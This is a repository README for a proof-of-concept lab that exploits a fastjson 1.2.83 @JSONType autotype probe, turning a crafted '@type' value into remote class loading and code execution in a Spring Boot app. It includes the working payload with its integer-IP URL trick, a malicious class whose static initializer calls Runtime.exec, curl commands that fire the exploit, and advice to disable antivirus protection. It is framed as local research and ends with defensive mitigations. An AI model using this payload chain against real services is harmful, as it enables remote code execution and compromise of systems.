Skip to content
 
 

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

fastjson @JSONType jar: URL RCE — Local Lab

A self-contained, loopback-only reproduction environment for the fastjson ParserConfig.checkAutoType @JSONType probe vulnerability that turns a crafted @type value into remote class loading via Spring Boot's LaunchedURLClassLoader. Verified end-to-end on JDK 8 with a cmd.exe /c calc payload (the calc window pops from the vuln-app JVM).

For authorized security research, local reproduction, and defensive validation only. Everything in this lab binds to 127.0.0.1. The RCE payload launches calc.exe as a harmless, visual proof. Do not run any of this against systems you do not own or have explicit permission to assess.

TL;DR

# Terminal 1 — start the vulnerable target
cd vuln-app
export JDK8=/e/software/jdk/jdk1.8.0_431
JAVA_HOME=$JDK8 PATH=$JDK8/bin:$PATH /e/software/maven/apache-maven-3.9.2/bin/mvn clean package -DskipTests
$JDK8/bin/java.exe -jar target/fastjson-jsontype-vuln-app.jar

# Terminal 2 — run the PoC
cd poc
./run-poc.sh
# → calc pops on the vuln-app host within a few seconds (RCE proof)

If your Windows Defender is on, it will quarantine evil.jar (it signatures the Runtime.exec payload). Either add this lab directory to Defender's exclusion list or temporarily disable real-time protection for the duration of the test.

What this lab contains

fastjson-jsontype-lab/
├── README.md                  (this file)
├── vuln-app/                  Spring Boot 2.7.18 + fastjson 1.2.83 FatJar target
│   ├── pom.xml
│   └── src/main/
│       ├── java/com/lab/vuln/
│       │   ├── VulnApplication.java
│       │   ├── LaunchedClassLoaderInitializer.java  ← the trigger wiring
│       │   ├── ParseController.java                 (/info /parse /parse-async /check)
│       │   └── AsyncParser.java                     (worker thread, RCE lane)
│       └── resources/application.properties         (127.0.0.1:8081)
└── poc/
    ├── GenPayload.java        ASM generator: jar:URL-named class + calc <clinit>
    ├── payload.json           the @type payload (uses integer IP 2130706433)
    ├── build-malicious-jar.sh compiles Gen + generates evil.jar via java.util.zip
    ├── serve-jar.sh           serves /evil -> evil.jar on 127.0.0.1:18080
    └── run-poc.sh             one-shot driver (build → serve → exploit → report)

How the exploit works

The payload

{"@type":"jar:http:..2130706433:18080.evil!.Exploit","x":1}

Two non-obvious bits:

  • 2130706433 is 127.0.0.1 written as a single decimal integer. The dotted form 127.0.0.1 does not work — see "Why integer IP" below.
  • .. is the trick that reconstructs a URL out of what looks like a class name. fastjson's @JSONType probe does typeName.replace('.', '/') + ".class", which turns .. into //:
    jar:http:..2130706433:18080.evil!.Exploit
      -> jar:http://2130706433:18080/evil!/Exploit.class
    

The probe

ParserConfig.checkAutoType runs a @JSONType "probe" path that is reachable even when AutoType is globally disabled (the probe is a trust channel). The probe reconstructs the resource name as above and asks the configured defaultClassLoader for it as a stream:

String resource = typeName.replace('.', '/') + ".class";
InputStream is = defaultClassLoader.getResourceAsStream(resource);
// then: ClassReader -> TypeCollector.hasJsonType()
// then: TypeUtils.loadClass(typeName, defaultClassLoader, true)

When defaultClassLoader is a Spring Boot LaunchedURLClassLoader, getResourceAsStream actually treats jar:http://...!/...class as a real nested-jar URL and issues an HTTP GET to fetch it.

The trigger wiring (LaunchedClassLoaderInitializer)

A plain "run inside Spring Boot FatJar" setup is not sufficient on its own. The probe uses ParserConfig.defaultClassLoader, which by default is the context classloader of whatever thread calls JSON.parse — and on a Tomcat request thread that is not the right loader. The upstream research harness (Test2 in the original PoC repo) makes the chain work by explicitly:

  1. Constructing a LaunchedURLClassLoader whose URL array points at the FatJar (LaunchedClassLoaderInitializer does this via reflection).
  2. Calling ParserConfig.getGlobalInstance().setDefaultClassLoader(thatLoader).

This mirrors the real-world trigger condition (an application calling setDefaultClassLoader with a jar-URL-aware loader) and is what makes the probe actually fetch + defineClass the remote class.

The malicious class

GenPayload.java uses ASM to emit a class whose bytecode internal name is exactly jar:http://2130706433:18080/evil!/Exploit (impossible to write as Java source), decorated with a runtime-visible @JSONType. Its <clinit>:

System.out.println("REMOTE RCE <clinit> EXECUTED (cmd launched from remote class)");
Runtime.getRuntime().exec("cmd.exe /c calc");

When fastjson defineClasss the fetched bytes and initializes the class, <clinit> runs inside the vuln-app JVM → calc pops.

Why integer IP

fastjson's probe does typeName.replace('.', '/'). A dotted IP like 127.0.0.1 becomes 127/0/0/1, breaking the URL host and making the reconstructed resource name unresolvable — the probe returns null and checkAutoType falls through to the deny-hash gate, throwing autoType is not support. The integer form 2130706433 has no dots, survives the replacement, and resolves to loopback at the HTTP layer.

This is also why the README's defensive guidance suggests alerting on integer-form IP literals in @type values.

Why two endpoints

Endpoint Thread Behavior
POST /parse Tomcat request thread The probe still runs (it uses defaultClassLoader, not the thread's TCCL), so the jar is fetched — but on this thread the class-definition leg typically doesn't complete. Use it to demonstrate the SSRF side.
POST /parse-async startup-created worker thread Full RCE — class is defined and <clinit> runs, calc pops.
POST /check (any) Bypasses the JSON parser and calls checkAutoType directly with a raw type name. Cleanest single demonstration of the probe.
GET /info (any) Diagnostics: thread, TCCL, parserConfigClassLoader, parserConfigDefaultClassLoader, autoTypeSupport.

Why JDK 8

JDK 9+ tightens defineClass's class-name validation and rejects the jar:http://…!/Exploit internal name, so the chain stops at the SSRF step. JDK 8's verifier accepts those bytes — that's what makes the RCE leg work.

Prerequisites

  • JDK 8. This lab assumes /e/software/jdk/jdk1.8.0_431; override with the JDK8 env var.
  • Maven. On this machine: /e/software/maven/apache-maven-3.9.2/bin/mvn.
  • curl, python (3.7+ for http.server --directory), bash.
  • Windows host if you want the default cmd.exe /c calc payload to be visible. For other OSes, pass -Dpoc.cmd=... when running GenPayload and rebuild evil.jar.
  • Antivirus exception for this lab directory if your AV signatures the Runtime.exec payload (Windows Defender does).

Doing it by hand

cd poc
./build-malicious-jar.sh
./serve-jar.sh &              # background; serves 127.0.0.1:18080/evil
SERVE_PID=$!

# SSRF demonstration lane (jar is fetched, class usually not defined here):
curl -X POST http://127.0.0.1:8081/parse \
  -H 'Content-Type: application/json' \
  -d @payload.json

# Full-RCE lane (calc should pop on the vuln-app host):
curl -X POST http://127.0.0.1:8081/parse-async \
  -H 'Content-Type: application/json' \
  -d @payload.json

# Direct checkAutoType demonstration:
curl -X POST http://127.0.0.1:8081/check \
  -H 'Content-Type: text/plain' \
  -d 'jar:http:..2130706433:18080.evil!.Exploit'

kill $SERVE_PID

Success indicators on a /parse-async hit:

  • The curl response body has "resultClass":"jar:http:..2130706433:18080.evil!.Exploit" — fastjson deserialized the request into an instance of the remote class.
  • The jar server log shows two GET /evil lines (one for the probe's getResourceAsStream, one for the subsequent loadClass).
  • The vuln-app console logs REMOTE RCE <clinit> EXECUTED.
  • A CalculatorApp process is running on the vuln-app host, started at the moment of the POST.

Inspecting the crafted class

$JDK8/bin/javap.exe -v -p poc/build/Exploit.class | head -30
# this_class should read:  "jar:http://2130706433:18080/evil!/Exploit"

(build/ rather than crafted/ because GenPayload writes the jar directly via java.util.zip, bypassing the external jar tool — some AV products intercept reads of the crafted .class between generation and packaging.)

Defensive guidance

  1. Enable fastjson SafeMode: -Dfastjson.parser.safeMode=true.
  2. Migrate to fastjson2 and remove fastjson 1.x from untrusted JSON paths.
  3. Run on JDK 9+ where possible — blocks the class-definition leg (SSRF still needs separate mitigation).
  4. Enforce strict egress so application runtimes cannot fetch arbitrary HTTP.
  5. Alert on @type values containing jar:, !, .. URL-reconstruction patterns, or integer-form IP literals (e.g. 2130706433).
  6. Audit ParserConfig.setDefaultClassLoader(...) call sites — avoid class loaders that interpret attacker-controlled resource names as URLs.

Troubleshooting

  • PoC says target not responding: start vuln-app first (Terminal 1).
  • autoType is not support error, no calc: you are almost certainly using a dotted IP (127.0.0.1) in the payload/internal name. The probe's replace('.','/') corrupts it. Use the integer form 2130706433.
  • evil.jar is empty / AV quarantined it: the Runtime.exec bytecode is signature-matched. Add this lab directory to your AV exclusion list, or temporarily disable real-time protection, then re-run build-malicious-jar.sh.
  • /parse fetches the jar but no calc: that's expected on the request thread. Use /parse-async for the full RCE demo.
  • Calc doesn't pop on a non-Windows host: regenerate the class with a different command, e.g. java -Dpoc.cmd="touch /tmp/RCE_PROOF" GenPayload ..., and rebuild evil.jar.
  • serve-jar.sh errors with "address already in use": a previous run is still bound to :18080. kill it or change POC_PORT (and update payload.json + GenPayload's internal name to match).

References

  • fastjson ParserConfig.checkAutoType, the @JSONType probe block where the typeName.replace('.', '/') reconstruction happens.
  • Spring Boot org.springframework.boot.loader.jar.Handler#parseURL, where nested-jar URL handling differs from the plain JDK classpath path.
  • The @JSONType probe behavior introduced in fastjson 1.2.66 and present through 1.2.83.
  • Original research harness: https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC (this lab's LaunchedClassLoaderInitializer mirrors its Test2.java).

About

Fastjson-JsonType-RCE-PoC

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages